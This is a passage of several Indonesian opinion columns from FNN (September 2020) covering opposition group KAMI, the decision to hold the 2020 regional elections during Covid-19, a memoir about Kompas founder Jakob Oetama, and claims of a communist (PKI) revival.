Rocky Gerung, Refly Harun, Said Didu, Abdullah Hehamahua, Chusnul Mariyah, dan lain-lain. KAMI menjadi tempat berkumpul para tokoh dari hampir semua ormas dan profesi. Di KAMI juga berkumpul banyak penulis dan wartawan militan. Hampir, kalau tidak dikatakan semua penulis aktif media Online berkumpul di KAMI. Mungkin 99,9% penulis aktif ada di KAMI. Hanya 1% yang berada di kubu pemerintah. Ini sekaligus untuk membedakan mana militan, mana bayaran. Terkesan berlebihan. Tapi mudah untuk dibuktikan. Dengan peristiwa Surabaya tersebut, justru jadi bensin yang membuat gerakan KAMI semakin nyala di negeri ini. Semakin banyak penolakan, maka semakin banyak trigger pula yang membuat KAMI semakin melambung dan terbang. Mendapatkan keuntungan besar. Dalam setiap peristiwa penolakan, ada simbiosis multualisme. Ini yang menarik. Deklarasi KAMI mendatangkan project bagi para penolaknya. Masih ingat proposal organisasi mahasiswa yang beredar dan viral? Hanya dengan Rp 16 juta sekian anggaran untuk menolak deklarasi KAMI di Surabaya. Kecil bagi anda, tapi besar bagi para mahasiswa itu. Di sisi lain, kehadiran para penolak membuat nama KAMI semakin melambung tinggi. Keduanya saling membutuhkan. KAMI dan para penolaknya. Mereka dapat uang, KAMI dapat iklan. Jika sinergi ini terus terjaga, maka akan mempercepat situasi menjadi matang. Maksudnya? Jangan berlagak bego lu! Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Presiden Utamakan Kesehatan dan Keselamatan Rakyat?

by Mochamad Toha Surabaya FNN - Selasa (29/09). Presiden Joko Widodo alias Jokowi menegaskan, pemerintah mengutamakan kesehatan dan keselamatan rakyat dalam penanganan Covid-19. Pemerintah terus berupaya menjaga yang sehat agar tidak terpapar Virus Corona. “Saya ingin kembali menegaskan bagi pemerintah, kesehatan rakyat dan keselamatan umat adalah yang utama. Bagi yang sehat kita jaga agar tidak terpapar. Bagi yang sudah terpapar, kita berupaya segera untuk bisa kita sembuhkan,” katanya. Hal itu disampaikan Presiden Jokowi saat membuka Muktamar PP Persaudaraan Muslimin Indonesia (Parmusi) di Istana Bogor, Jawa Barat, Sabtu (26/9/2020). Jokowi bersyukur, angka kesembuhan masyarakat tinggi per 25 September lalu. Pemerintah, kata dia, terus berupaya meningkatkan angka kesembuhan. “Alhamdulillah per 25 September, angka kesembuhan kita mencapai 196 ribu orang dengan tingkat kesembuhan 73,5%. Ini semakin meningkat. Alhamdulillah dan akan terus kita tingkatkan,” ucapnya. Mantan Wali Kota Solo itu mengajak masyarakat Indonesia tidak menyerah menghadapi pandemi Covid-19 ini. Dia juga mengajak agar masyarakat saling membantu saat kesulitan. “Kita tidak boleh menyerah, kita harus berikhtiar sekuat tenaga pengendalian Covid-19 sekaligus membantu saudara-saudara kita agar tidak semakin terpuruk karena kesulitan ekonomi,” pungkasnya. Menurut Jokowi, perlu kekompakan bersama dalam menghadapi Covid-19. Menurutnya, persoalan ini terlalu besar untuk diselesaikan pemerintah sendirian. “Kita harus bersatu, satu tekat, satu semangat, satu barisan dalam menghadapi situasi yang sulit ini,” ucapnya. Jokowi berharap, seluruh kader Parmusi di seluruh tanah air bergandengan tangan dengan seluruh elemen bangsa yang lain. Kemudian, menjadi garda terdepan untuk melindungi diri sendiri, melindungi kesehatan umat, keselamatan rakyat, serta bangsa dan negara. “Sehingga kita bisa segera pulih dan bangkit kembali,” kata Presiden Jokowi, seperti dilansir Liputan6.com, Sabtu (26 September 2020). Dia menambahkan, dalam mencegah penyebaran Covid, tidak ada jalan lain selain disiplin menjalankan protokol kesehatan. Serta disiplin menjalankan kebiasaan-kebiasaan baru yang aman dari Covid saat di dalam rumah bersama keluarga maupun ketika di luar. Bahaya Pilkada Sayangnya dalam Muktamar PP Persaudaraan Muslimin Indonesia (Parmusi) di Istana Bogor tersebut, Presiden Jokowi tidak menyinggung soal mengapa Pemerintah tetap melaksanakan Pilkada Serentak 2020 pada 9 Desember 2010 mendatang. Rapat bersama antara Komisi II DPR, Kementerian Dalam Negeri, Komisi Pemilihan Umum (KPU), Badan Pengawas Pemilu (Bawaslu), dan Dewan Kehormatan Penyelenggara Pemilu (DKPP) sepakat tidak ada penundaan Pilkada serentak 2020. Pilkada tetap akan dilaksanakan pada Rabu, 9 Desember 2020. Hal ini mengabaikan masukan dari masyarakat. Sebelum keputusan diambil, penolakan telah datang dari berbagai pihak. Seperti dari Muhammadiyah dan NU yang menyatakan sikap. Juga memberikan masukan kepada pemerintah untuk serius mengatasi pandemi Covid-19. Menyarankan agar Pilkada Serentak 2020 ditunda dulu. Sepertinya, sikap dua Ormas Islam itu tak menjadi pertimbangan dalam memutuskan pilkada dilanjut atau tidak. Selain dua ormas Islam itu, ada Koalisi Aksi Menyelamatkan Indonesia (KAMI), Perludem dan Komisi Nasional Hak Asasi Manusia (Komnas HAM) yang juga menyarankan supaya Pilkada 2020 ditunda. Alasanya, karena pandemi Covid-19 semakin meningkat dan penyebarannya sudah semakin mengkhawatirkan. Pergerakan Covid-19 demikian dahsyat. Hingga Menteri Agama Fachrul Razi dan Menteri Kelautan dan Perikanan Edhy Prabowo positif terpapar. Bahkan, Komisioner KPU sendiri sudah ada yang dinyatakan positif Covid-19. Penyebaran di berbagai daerah juga menunjukan angka yang signifikan. Sebagian besar daerah digambarkan laju penyebaran Covid-19 yang meningkat. Belum lagi seperti yang dikatakan ketua KPU Arief Budiman. Setidaknya, sebanyak 37 Bakal Calon Kepala Daerah positif Covid-19. Ini persoaan serius yang harus mendapatkan perhatian Presiden Jokowi. Sebab keselamatan warga negara terancam. Ahmad Yani, Dosen FH dan FISIP UMJ menyebutkan, sementara pilkada yang merupakan pesta demokrasi tetap digelar. “Yang namanya pesta, mau tidak mau orang akan tetap berkumpul ramai dan ini mempercepat laju penyebaran Covid-19,” katanya. “Secara hukum, opsi penundaan sudah diatur dalam Undang-Undang Nomor 6 Tahun 2020 tentang Pemilihan Gubernur, Bupati, dan Walikota,” ungkap Ahmad Yani, seperti dilansir fnn.co.id, Rabu (23 September 2020). Pasal 201A ayat (3) memberikan opsi bahwa apabila bencana non alam (Pandemi Covid-19) belum berakhir, Pilkada bisa ditunda dan dijadwalkan kembali segera setelah bencana non alam berakhir. Payung hukum penundaan jelas sebagai acuan pemerintah. Menurut Ahman Yani, selain itu, Pilkada dalam situasi pendemi Covid-19 bisa berakibat kurangnya pengawasan Tahapan Pelaksanaan Pilkada. Ini menyebabkan semakin tertutupnya proses pelaksanaan. Karena itu, dalam menghadapi situasi demikian, sudah menjadi kaidah hukum bahwa setiap keputusan harus didasarkan pada akuntabilitas dan transparansi. Tanpa itu, akan melahirkan proses demokrasi yang lebih condong pada kepentingan oligarki dan dinasti kekuasaan. Pilkada hanya untuk mengejar kekuasaan semata. Akibatnya, banyak tanggapan yang bermunculan. Termasuk Menko Polhukam Mahfud MD yang menyebut pilkada itu dibiayai 82% oleh cukong. Angka itu memperlihatkan ada kepentingan besar oligarki dan korporasi memegang kendali dalam demokrasi. Wartawan Senior Hersubeno Arief menyebut, sulit untuk menafikan, keputusan pemerintah tetap menggelar Pilkada di tengah pandemi, sarat dengan kepentingan politik. Yakni, mulai dari kepentingan politik pribadi, keluarga, kelompok, maupun golongan. “Kepentingan ekonomi para elit politik tingkat nasional, lokal, dan kepentingan para pemilik modal picik, licik, tamak dan culas,” ungkap Hersu dalam tulisannya, “Hoorreeee… Pilkada 2020 Ditunda, Kecuali Solo dan Medan” di fnn.co.id, Selasa (22 September 2020). Karena anak (Gibran Rakabuming) dan menantu (Bobby Nasution) ikut berlaga pada Pilkada Kota Solo dan Kota Medan, sangat sulit untuk membantah, Jokowi dan keluarga, mempunyai kepentingan langsung agar Pilkada tetap dilaksanakan. Bagi Jokowi, ini momentum paling pas menjaga dan memastikan anak dan menantunya yang miskin pengalaman politik, miskin kapasitas, dan kapabilitas untuk terpilih. Nasib Gibran dan Bobby Nasution tidak semata bergantung pada garis tangan. Tapi yang paling penting adalah "campur tangan". Mumpung Jokowi masih menjadi Presiden. Mumpung masih punya pengaruh besar mengendalikan parpol dan organ-organ kekuasaan. “Semuanya itu erat kaitannya dengan bisnis pengaruh,” tulis Hersu. Bahasa kerennya, business of influence. Jika harus ditunda, momentum akan lewat. Dengan pandemi yang semakin tidak terkendali. Covid mulai menggigit elit. Mulai dari menteri, Ketua KPU, wakil gubernur, walikota, bupati, dan rektor perguruan tinggi. Perkembangan kasus Covid-19 di Indonesia hingga Minggu, 27 September 2020, rata-rata mencapai 22,46% sedikit lebih rendah jika dibandingkan kasus aktif dunia yang mencapai 23,13%. Untuk itu, Presiden Jokowi dalam Rapat Terbatas Persiapan Pelaksanaan Vaksin Covid-19 dan Pemulihan Ekonomi Nasional via video conference pada Senin, 28 September 2020, menyerukan seluruh jajarannya untuk bergerak cepat agar kasus aktif di Indonesia dapat terus menurun. Presiden Jokowi juga mengingatkan kembali mengenai intervensi berbasis lokal dan rencana vaksinasi. Reaksi keras datang dari seorang netizen, "Gendeng.... WHO belum memberikan satu pun rekomendasi vaksin Covid-19... Lhaaa kok Presiden RI sudah minta rencana rinci suntikan vaksin... Ini yang bohong China atau Pemerintah Indonesia sendiri soal Vaksin Sinovac mendapat restu WHO...," tulis Netizen Mila Machmudah Djamhari. Wartawan senior Asyari Usman mengungkap, banyak yang mungkin belum paham mengapa Jokowi tidak begitu peduli dengan amuk Covid-19 pada Pilkada 2020. Itu semua disebabkan Gibran di Solo dan Bobby di Medan yang ikut Pilkada 2020. Inilah taruhan yang sangat besar bagi Jokowi. Bebannya tidak ringan. Kedua calon itu ‘wajib’ jadi. Tidak ada kamus kalah. Jadi, ini yang membuat Jokowi lebih mementingkan Gibran dan Bobby dibandingkan amuk virus Corona. Hingga kini, Jokowi tak menggubris imbauan banyak pihak agar Pilkada 2020 di 270 daerah ditunda. Para pakar kesehatan dan epidemiologi sangat mengkhawatirkan kemunculan ribuan ‘cluster’ baru dari kegiatan pilkada. Artinya, Presiden Jokowi itu lebih mementingkan kesehatan dan keselamatan politik keluarga ketimbang rakyat! Penulis adalah Wartawan Senior FNN.co.id

IN MEMORIAM: Kompas Tidak Bisa Dipisahkan dari Jakob Oetama - 2 (habis)

by Tjahja Gunawan Jakarta FNN - Selasa (29/09). Pasca wafatnya Jakob Oetama (88), selain bertemu Bu Mien Uno saya juga berkesempatan bersilaturahmi dengan wartawan tiga zaman Jus Soema di Pradja. Bu Mien adalah seorang pendidik, ahli masalah etika yang juga sahabat Pa JO. Kebetulan rumah mereka juga bertetangga di Kawasan Kebayoran Baru Jakarta. Sedangkan Bung Jus Soema di Pradja adalah wartawan tiga zaman yang pernah menjadi wartawan Kompas selama dua tàhun, dari tàhun 1976 hingga 1978. Bung Jus adalah mantan wartawan Harian Indonesia Raya pimpinan tokoh dan pejuang pers Mochtar Lubis. Setelah koran Indonesia Raya dibredel rezim Orde Baru, Bung Jus kemudian menjadi wartawan Kompas. Namun dia hanya bertahan dua tàhun. "Saya mengajukan mengundurkan diri dari Kompas tanggal 13 Februari 1978 karena saya tidak setuju dengan langkah yang dilakukan tujuh pemimpin redaksi surat kabar termasuk Pemred Kompas Jakob Oetama yang melakukan kompromi dengan rezim Orde Baru," kata Bung Jus sambil memperlihatkan dokumen tertulisnya. Pada awal 1978, tujuh surat kabar termasuk Harian Kompas sempat dilarang terbit oleh Pemerintah Orde Baru melalui Kopkamtib sebagai buntut dari pemberitaan aksi mahasiswa yang menolak kebijakan Normalisasi Kehidupan Kampus/Badan Koordinasi Kemahasiswaan (NKK/BKK). Namun setelah para pemimpin redaksi tersebut mengajukan surat kepada Presiden Soeharto, tujuh surat kabar tersebut akhirnya bisa terbit kembali. Atas dasar pertimbangan peran dan idealisme pers, pada waktu itu Bung Jus Soema di Pradja memilih keluar dari Kompas. Pa JO sempat menerima informasi yang salah tentang Bung Jus. Ketika itu Pa JO mendapat masukan dari orang-orang di sekitarnya bahwa Jus Soema di Pradja keluar dari Kompas karena dia berasal dari keluarga orang kaya. "Padahal tidak seperti itu keadaannya. Justru waktu saya mengajukan resign dari Kompas, anak-anak saya masih kecil. Saya tinggal di Perumnas Depok dari dulu sampai sekarang. Jadi saya keluar dari Kompas murni karena masalah idealisme. Saya tidak setuju Kompas berkompromi dengan rezim Orde Baru," kata Bung Jus berapi-api. Meski dia berpeda pendapat dengan Pa JO soal idealisme pers, namun beberapa tàhun kemudian keduanya bisa menjalin komunikasi kembali. "Bahkan pada tàhun 1990 saya sempat dirangkul Pa Jakob. Saya ditanya selama ini kemana saja? Saya butuh Anda untuk teman ngobrol bung," ujar Bung Jus menirukan Jakob Oetama. Singkat cerita, keduanya kerap bertemu apalagi pada akhir tàhun 1990, Pa Jakob dihadapkan pada persoalan besar yakni penutupan Tabloid Monitor, media hiburan di bawah Grup Kompas Gramedia yang dikelo Arswendo Atmowiloto. Monitor terpaksa ditutup menyusul gelombang protes dari umat Islam karena telah mempublikasikan hasil survei Tabloid Monitor yang menempatkan Nabi Muhammad SAW di urutan nomor 11 sebagai tokoh yang dikagumi pembaca. Ketika itu, kata Jus, JO merasa tertekan sehingga perlu ada teman yang bisa diajak ngobrol. Nah, dirinya sebagai orang yang sudah tidak lagi bekerja di Kompas bisa leluasa menyampaikan kritik dan masukan kepada Jakob Oetama. Pasca penutupan Monitor, JO dihantui berbagai kekhawatiran. Oleh karena itu Majalah Senang yang juga berada di bawah Kelompok Kompas Gramedia ditutup sendiri oleh Pa Jakob selaku pimpinan tertinggi di Grup KG karena ada indikasi karikatur yang ada di majalah tersebut mengandung unsur SARA (suku agama ras dan antar golongan). "Padahal saya secara pribadi tidak setuju kalau itu ditutup. Saya sudah kemukakan langsung ke Jakob tetapi dia tetap pada pendiriannya untuk menutup Majalah Senang. Kemudian Jakob berangkat ke Menpen Harmoko untuk menyerahkan Surat Ijin Usaha Penerbitan Pers (SIUPP) Majalah Senang. Tadinya saya mau menemani beliau pergi menemui Harmoko, tapi dilarang sama Jakob," ungkap Jus Soema di Praja tergelak. Pa JO mungkin mengetahui karakter Jus sebagai orang yang keras dan teguh pada prinsip, sehingga kurang pas kalau diajak bertemu Menpen. Pada saat pemakaman Jakob Oetama, Kamis 10 September 2020, Jus Soema di Praja memaksakan diri datang ke TMP Kalibata Jakarta. "Walaupun cuma dua tàhun jadi wartawan Kompas, bagaimanapun saya kan pernah mendapat upah dari Pa Jakob," tamba Jus yang kini sudah berusia di atas 70 tàhun. Terlepas dari berbagai perbedaan yang ada, banyak pihak yang kehilangan Jakob Oetama. Dia bukan hanya milik Kompas Gramedia, tetapi almarhun merupakan salah satu tokoh dan aset bangsa. Oleh karena itu wajar kalau kemudian banyak pertanyaan menyangkut kelangsungan Harian Kompas pasca wafatnya Pa JO. Bagaimanapun juga keberadaan Kompas tidak bisa dilepaskan dari sosok Jakob Oetama. Demikian pula sebaliknya. Selama ini konten Kompas dipersepsikan sebagai representasi dari pemikiran, ide dan harapan serta obsesi Pa JO. Bahkan sebelumnya sistem yang berlaku di Kompas adalah identik dengan Pa JO. Sebaliknya Pa JO identik dengan sistem di Kompas. Itu tidak hanya menyangkut isi Kompas, tetapi juga berkaitan dengan kebijakan sumber daya manusia, sistem penggajian dan remunerasi. Wartawan Diistimewakan Sepanjang pengalaman saya bekerja di Kompas, Pa JO memang seperti mengistimewakan para karyawan Kompas terutama wartawannya. Sehingga wajar kalau karyawan unit usaha lain di lingkungan KG jadi cemburu. Adakalanya mereka menjuluki karyawan Kompas sebagai karyawan premium. Oleh karena itu sejumlah insentif yang diberikan kepada wartawan sengaja tidak diumumkan secara terbuka. Kecuali uang makan, mulai dari pimpinan tertinggi seperti Pa JO sampai office boy besarannya sama. Saya banyak mengetahui soal kebijakan remunerasi dan masalah SDM karena pernah dipercaya menjadi Ketua Perkumpulan Karyawan Kompas (PKK). Keberadaan PKK ini untuk menjembatani aspirasi karyawan dan wartawan Kompas dengan pihak manajemen. Dalam setiap perumusan peraturan perusahaan, PKK selalu dilibatkan dan diajak diskusi berbagai hal yang berkaitan dengan kesejahteraan karyawan PT Kompas Media Nusantara, nama perusahaan yang menerbitkan Harian Kompas. Sebelumnya ketika jumlah karyawan dan wartawan Kompas masih sedikit, hampir semua hal di bawah kendali dan kontrol Pa JO termasuk soal kenaikan gaji wartawan. Namun seiring dengan perkembangan Kompas waktu itu, jumlah karyawan dan wartawan pun terus bertambah sehingga perlu dibuat sistem tersendiri. Kembali kepada keberlangsungan Koran Kompas pasca wafatnya Pa JO. Sebagian wartawan senior yang ikut sejak awal berdirinya Kompas, memperkirakan Harian Kompas akan tetap ada selama Pa Jakob masih ada. "Tapi begitu Pa Jakob sudah tidak ada nanti, Kompas pun perlahan akan ikut mati," begitu ungkapan seorang wartawan senior yang disampaikan dalam diskusi kecil pada tahun 2000-an. Pada waktu itu, saya tidak terlalu percaya dengan ungkapan tersebut karena saat itu Agung Adiprasetyo selaku CEO Kompas Gramedia sedang merancang sistem yang bersifat baku dan menyeluruh yang berlaku bagi semua unit di lingkungan KG. Bahkan waktu itu dia terlihat kompak bekerjasama dan saling melengkapi dengan Suryopratomo (Mas Tomy) yang waktu itu sebagai Pemred Kompas merangkap Wakil CEO KG. Namun rupanya upaya tersebut tidak mudah untuk diwujudkan karena adanya resistensi dari sebagian karyawan dan wartawan senior. Penolakan itu umumnya terkait dengan kebijakan pemangkasan fasilitas dan pemberian insentif berlebihan yang selama ini diberikan kepada wartawan Kompas. Sebelum saya pensiun dini tàhun 2016, kondisi kesehatan Pa JO sudah menurun. Ketika saya menemui beliau di ruang kerjanya untuk berpamitan, Pa JO sering berbicara diulang-ulang. Bahkan menanyakan nama lawan bicaranya berkali-kali. Meski begitu, hampir setiap hari beliau datang ke kantor. Sepanjang pengamatan saya, kondisi kesehatan Pa JO sudah menurun sejak akhir 2013. Pada waktu itu, Pa JO sudah jarang turun ke ruang redaksi untuk ikut rapat pagi bersama para editor dan wartawan. Biasanya dalam setiap rapat, Pa Jakob memberikan wawasan, ide serta kerangka berpikir dalam melihat setiap fakta yang hendak diberitakan Kompas. Dalam kesempatan tersebut, biasanya masing-masing editor menyampaikan fakta dan berbagai peristiwa penting yang terjadi di masyarakat. Walaupun Kompas merupakan koran umum, namun titik berat perhatian Kompas waktu itu lebih ke masalah-masalah di bidang politik dan ekonomi. Pa JO selalu mengarahkan Kompas agar mampu melihat persoalan atau fakta dari sisi lain terutama aspek kemanusiaan. Dalam masalah politik, Pa JO selalu menekankan bahwa politik itu tidak hitam putih. Walaupun secara pribadi Pa JO tidak ikut terlibat dalam kegitan politik praktis, namun beliau senantiasa mengetahui dan paham story behind dari setiap peristiwa politik yang terjadi di negeri ini. Itu karena Pa JO memiliki banyak sahabat dan jaringan informasi. Setiap saat Pa JO selalu berpesan agar pemberitaan Kompas harus selalu disertai duduk perkara dari setiap persoalan yang ada. Jika dielaborasi dalam pola kerja jurnalistik, setiap wartawan harus selalu tanggap dan cepat mengetahui setiap peristiwa penting, langsung dari lapangan atau dari sumber berita pertama. Penurunan kondisi kesehatan Pa JO kebetulan berbarengan dengan penurunan kinerja Kompas. Namun penurunan tersebut lebih disebabkan bisnis media-media konvensional secara keseluruhan juga mengalami penurunan. Ini tidak bisa dihindari karena seiring dengan kemajuan teknologi, platform media pun ikut bergeser dari printing (media cetak) ke dalam format media digital (online). Apalagi kalangang generasi muda terutama kelompok milenial, banyak mengkonsumsi informasi melalui internet. Akhirnya, Koran Kompas pun diidentikan sebagai surat kabar milik para orang tua. Kondisi tersebut berimplikasi pada penurunan jumlah oplah dan iklan di Harian Kompas. Kalau dulu perusahaan-perusahaan harus antri untuk bisa pasang iklan di Kompas, maka ketika siklus bisnis berubah akhirnya mereka yang bertugas di bagian iklan pun harus pro aktif menjemput bola mencari iklan. Sekarang industri media sudah mengalami perubahan drastis, media surat kabar sudah menjadi bagian dari masa lalu. Sejarah dan kejayaan Kompas tinggal cerita dan kenangan di masa lampau. Saat ini Kompas harus berjibaku menghadapi multi persoalan sepeninggal Jakob Oetama. Setiap zaman melahirkan generasi berbeda serta persoalan dan tantangan yang berbeda. Kondisi media sekarang dan di masa yang akan datang, lebih bayak ditentukan oleh perkembangan teknologi dan infrastruktur telekomunikasi. Ini merupakan tantangan bagi generasi penerus Pa Jakob Oetama. Akankah brand Kompas akan tetap berkibar pasca wafatnya Pa JO ? Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior FNN.co.id. & Wartawan Kompas 1990-2016

KAMI Beruntung, Semakin Dibesarkan Oleh Demo Penolakan

by Asyari Usman Jakarta FNN - Senin (28/09). Tidak banyak ormas yang bisa cepat besar seperti KAMI. Begitu dideklarasikan kelahirannya, ormas ini langsung masuk kategori yang dianggap sebagaia ancaman. Kalau tidak dianggap begitu, tentunya deklarasi mereka tidak akan diganggu. Tidak akan dibubarkan. Itulah yang dialami KAMI ketika menyelenggarakan deklarasi pembentukan pengurus di Surabaya, Senin (28/9/2020). Massa yang diyakini sebagai gerombolan orang-orang bayaran, melarang warga KAMI mengikuti acara. Alasan mereka, deklarasi itu sifatnya politis. Lho, kalau politis, kenapa rupanya? Apa tidak boleh orang berkumpul untuk menyatakan pendapat politik, pendapat ekonomi atau pendapat apa pun itu? Tentu sah-sah saja, bukan? Kenapa harus ditekan? Untuk apa dihalang-halangi? Memangnya KAMI itu punya apa? Punya duit banyak? Betul-betul sangat mengherankan. Tetapi, sesungguhnya KAMI beruntung. Bisa langsung dianggap sebagai rival. Itu pertanda yang sangat positif. Beruntung bisa melejit tinggi akibat demo-demo penolakan yang dilakukan oleh yang diduga sebagai massa bayaran. Karena itu, saya perkirakan orang-orang KAMI akan semakin bersemangat untuk meluaskan jaringan nasional. Sikap bermusuhan yang ditunjukkan oleh orang-orang yang mengaku sebagai “massa rakyat asli” itu pasti akan semakin memperkuat citra KAMI. Sebab, permusuhan itu mengisyaratkan KAMI berhasil menjadi ormas yang diperhitungkan. Tinggal sekarang, KAMI bekerja keras untuk memperbanyak jaringan. Yaitu kerja keras dalam menggelar deklarasi di sebanyak mungkin daerah di Indonesia. Saya menduga, pegurus KAMI akan mendorong para pendukungnya di daerah-daerah agar segera melasanakan acara deklarasai. Dengan tujuan agar ada massa bayaran yang menolak. Begitu ditolak akan langsung masuk berita media massa, baik televisi maupun media online. Penolakan akan menjadi viral. Nama KAMI disebut seharian. Dari siang sampai malam. Bahkan sampai besok, lusa, dst. Namun, tentu saja penyelenggaraan deklarasi KAMI dengan tujuan supaya diganggu, tidaklah baik. Sebab, pola seperti itu menunjukkan bahwa pihak yang mengganggu adalah orang-orang pengecut. Penulis adalah Wartawan Senior FNN.co.id

Apologi Itu Bernama "Out of The Box"

by M Rizal Fadillah Jakarta FNN- Senin (28/09). Ketika mengkritisi atau mengoreksi suatu kebijakan atau sikap politik pejabat publik yang dinilai secara kepatutan, bahkan aturan dianggap keliru, maka semestinya diterima dan direnungkan. Bila tak sesuai dapat diklarifikasi ataupun diabaikan. Anehnya, tak sedikit pendukung membuat pembelaan apologetik bahwa kebijakan atau sikap politik yang tak layaknya itu sebagai kebenaran yang "out of the box". Sampai ada pandangan bahwa keberanian Luhut Binsar Panjaitan menjadi garda depan kerjasama dengan China termasuk Partai Komunis Cina (PKC) adalah inovasi yang "out of the box". Tak perlu kuatir soal komunisme. Prabowo menanam singkong juga "out of the box". Hueeebat kan Mneteri Pertahanan (Menhan) menjadi Menteri Pertanian (Mentan). Jokowi juga mensupport anak, mantu, besan untuk maju Pilkada, dan itu bukan sebagai nepotisme atau politik dinasti. Tetapi langkah brilyan "out of the box". Sampai-sampai pengumumannya disampaikan di istana negara. Ketika Peraturan Pemerintah Penggabti Undang-Undang (Perppu) Corona dibuat dengan memporak-porandakan hukum dan perundang-undangan, dianggap bukan merampok dana APBN. Tetapi langkah terobosan yang "out of the box". Begitu juga Pemerintah yang ngotot untuk melaksanakan Pilkada di tengah meningkatnya korban pandemi Covid 19 adalah "out of the box". Jika nanti saat Pelikada berlangsung, korban berjatuhan maka itupun lumrah sebagai korban yang "out of the box". Sekarang "out of the box" menjadi seolah terobosan padahal itu adalah kenekadan. Bahkan nyata-nyata penyimpangan dari nilai kebenaran dan keadilan. Siapapun oranngnya yang sudah berada dalam "box” yang benar maka ia tidak boleh "out". Begitu yang seharusnya. Namun kepentingan politik mampu membingkai seribu alasan untuk melakukan perbuatan di luar kebiasaan atau kewajaran teta kelola pemerintahan yang benar, menjadi "out of the box". Dengan alasan bahwa Orde Baru lah yang anti Partai Komunis Indonesia (PKI) dan Komunis, maka ketika muncul sikap perlunya mewaspadai bahaya bangkitnya Neo PKI dan Komunisme, dituduhlah itu sebagai anasir Orde Baru. Lalu dibuatlah argumen Pemerintah harus membuat langkah "out of the box" dengan rekonsialisasi, rehabilitasi, dan meminta maaf kepada pengikut atau keluarga PKI. "Out of the box" dalam makna kreatif harus berbasis aturan. Bukan menginjak-injak atau memperalat aturan untuk kepentingan kelompok dan keluarga. Apalagi mengeliminasi Tap. MPRS Nomor XXV/MPRS/1966 itu bukan "out of the box". Berkreasi tentang Pasal Trisila dan Ekasila atau mengecilkan porsi Agama di Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) bukan pula "out of the box". Begitu juga dengan Pancasila berbasis tanggal 1 Juni 1945. Membuka celah bangkit Neo PKI dan Komunisme absolut bukan "out of the box". Aspek-aspek yang menginjak-injak atau memperalat aturan bukanlah "out of the box". Melainkan kunci pembuka dari "Pandora's box" yang membuka sebaran penyakit virus PKI dan Komunisme. RUU HIP dan RUU Badan Pembinaan Ideologi Pancasil (BPIP) adalah "Pandora's box". Zeus menghadiahi puterinya Pandora kotak yang tak boleh dibuka. Tapi perempuan ini melanggarnya. Akibatnya tersebarlah penyakit di muka bumi. Makanya PKI dan Komunisme akan tersebar menjadi penyakit di bumi Pertiwi, hanya karena sang Puteri melanggar amanat. Kotak Pandora berusaha untuk dibuka. Maka RUU HIP dan RUU BPIP yang seharusnya ditutup rapat, masih terus saja dicari-cari celah agar dapat terkuak. Seolah pekerjaan itu bagus "out of the box". Padahal yang bakal terjadi adalah "out from the box". Penyakit yang tersebar lalu merusak dan membahayakan rakyat, bangsa, dan negara memlalui faham komunisme. Penghianat telah mencoba membuka "Pandora's box". Virus Komunisme akan disebarkan. Karenanya sebelum tersebar maka cegah dan basmi sampai ke akar-akarnya. Apapun resikonya. Penulis adalah Pemerhati Politik dan Kebangsaan.

Kebangkitan PKI Itu Keniscayaan

by Tony Rosyid Jakarta FNN – Senin (28/09). Kita bisa lihat Partai Komunis Indonesia (PKI) dari dua hal. Pertama, dilihat secara ideologis. PKI itu berideologi komunis. Komunis anti Tuhan. Berarti anti Pancasila. Sebab itu, nggak layak hidup di negara Pancasila. Karena dipaksakan, lahirlah banyak benturan. Terutama benturan terhadap masyarakat yang beragama dan ber-Tuhan. Bubarkan Pelajar Islam Indonesia (PII), Himpunan Mahasiswa Islam (HMI), pembantaian terhadap para kiai dan ulama, pembakaran masjid, madrasah serta pesantren itu bagian niscaya dari tuntutan revolusi PKI. Kalau tidak begitu, itu bukan komunis. Lahirnya NASAKOM yang berupaya menyatukan kelompok nasionalis, agama dan komunis boleh jadi karena ketiga kelompok ini merupakan fakta sosial dan politik di Indonesia saat itu. Namun, Soekarno tidak menyadari bahwa NASAKOM pada kenyataannya absurd, ambigu dan kontradiktif. Sebab, komunis tidak mungkin bisa hidup dalam masyarakat yang mayoritas beragama, terutama Islam. Sampai disini, gagasan NASAKOM dan kedekatan Soekarno dengan PKI menyisakan sejumlah pertanyaan. Apakah NASAKOM itu bagian dari bentuk idealisme Soekarno dalam menyatukan semua kelompok bangsa? Atau sekedar pencitraan Soekarno di mata dunia? Dimana kapitalisme dan komunisme tidak pernah akur, bahkan terjadi perang dingin saat itu? Atau ada skenario lain? Kalau urusan skenario itu, hanya Soekarno dan Tuhan yang tahu. Pembantaian terhadap para Jenderal terjadi, karena para Jenderal dianggap sebagai penghalang revolusi yang menjadi ciri khas perjuangan komunisme. Peristiwa ini, lebih bersifat politis. Walaupun demikian, sesungguhnya, para Jenderal yang dihabisi itu juga sangat ideologis dan Pancasilais. Bagaimanapun, menghabisi Dewan Jenderal secara struktural telah mewariskan luka sejarah yang sangat mendalam, terutama bagi TNI AD. Jadi, jika sepanjang sejarah TNI AD marah terhadap PKI, itu wajar dan natural saja. Jika para tokoh, senior dan pimpinan organisasi anda dibantai secara terstruktur, luka di hati anda dan semua kader organisasi tidak akan pernah sembuh. Ini juga yang dialami oleh NU ketika tahun 1948 para Kiai NU dibantai PKI di Jawa Timur. Jadi, isu kebangkitan PKI bukan hanya menyinggung emosi Jenderal TNI (Purn.) Gatot Nurmantyo, Jenderal TNI (Purn.) Ryamizard Ryacudu dan Mayjen TNI (Purn.) Kivlan Zen saja. Ini bagian dari perasaan dan emosi seluruh anggota TNI, terutama TNI-AD. Jendral TNI Kehormatan (Purn.) Luhut Binsar Panjaitan dan Jendral TNI Kehormatan (Purn.) Abdullah Mahmyud Hendropriyono juga bagian dari TNI AD. Dua Jenderal Kehormatan ini adalah prajurit Komando Kopassus. Barangkali perlu juga untuk diminta mengungkapkan perasaannya soal pemberontakan PKI tersebut Dilihat dari sisi historis. Setidaknya ada dua protes dari eks PKI dan anak-anak biologisnya. Pertama, protes terhadap film G 30 S PKI. Dianggap manipulatif. Penuh rekayasa. Mereka minta kepada pemerintah untuk tidak lagi ditayangkan. Dihapus semua file-nya. Mendesak presiden Jokowi buat film G 30 S PKI versi baru. Terkait usul tersebut, sempat ada wacana dari istana. Tapi, sampai sekarang belum terealisasi. Kedua, menuntut kepada presiden Jokowi atas nama bangsa Indonesia agar meminta maaf secara resmi kepada PKI. Jika ini dilakukan, maka akan mengubah jalannya sejarah bangsa Indonesia. Poinnya, PKI korban, bukan pelaku. Setelah itu, akan ada project besar untuk menulis buku 